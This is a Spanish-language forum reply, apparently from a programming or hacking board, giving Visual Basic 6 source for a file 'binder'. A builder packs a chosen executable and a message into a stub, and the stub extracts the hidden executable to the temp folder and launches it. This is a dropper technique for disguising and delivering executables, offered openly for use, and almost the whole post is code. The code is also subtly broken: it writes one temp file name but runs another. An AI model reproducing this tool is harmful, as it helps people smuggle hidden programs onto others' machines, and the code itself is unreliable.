Te dejo un ejemplo de como lo haria yo:
Cliente : Un boton de buscar, Un textbox para mostrar la ubicacion del archivo, un segundo textbox para poner el mensaje que quiera.
Código: Seleccionar todo
Private Sub Command1_Click()
With CD
.DialogTitle = "Elige el archivo"
.Filter = "Executables (*.exe)|*.exe"
.ShowOpen
End With
Text1.Text = CD.FileName
End sub
Private Sub Command2_Click()
Dim buffer1 As String
Dim buffer2 As String
Dim key As String
Open App.Path & "\Stub.exe" For Binary As #1
buffer1 = Space(LOF(1))
Get #1, , buffer1
Close #1
Open Text1.Text For Binary As #1
buffer2 = Space(LOF(1))
Get #1, , buffer2
Close #1
key = "Naker90"
Dim mensaje As String
mensaje = Text2.Text
Open App.Path & "\ArchivoFinal.exe" For Binary As #1
Put #1, , buffer1
Put #1, , key
Put #1, , buffer2
Put #1, , key
Put #1, , mensaje
Put #1, , key
Close #1
MsgBox "El mensaje se ha introducido con exito!",vbinformation, me.caption
End sub
Y en el Stub, dentro de un modulo:
Código: Seleccionar todo
Sub Main()
Dim buffer1 As String
Dim Archivo() As String
Dim key As String
key = "Naker90"
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
buffer1 = Space(LOF(1))
Get #1, , buffer1
Close #1
Archivo = Split(buffer1, key)
Open Environ$("tmp") & "\Archivotemporal.exe" For Binary As #1
Put #1, , Archivo(1)
Close #1
MsgBox Archivo(2)
Shell Environ$("tmp") & "\Archivotemporal2.exe", vbNormalFocus
End Sub
El codigo es bastante sencillo de entender lo unico seria el Environ$("tmp") esto se usa para crear una carpeta temporal.
Saludos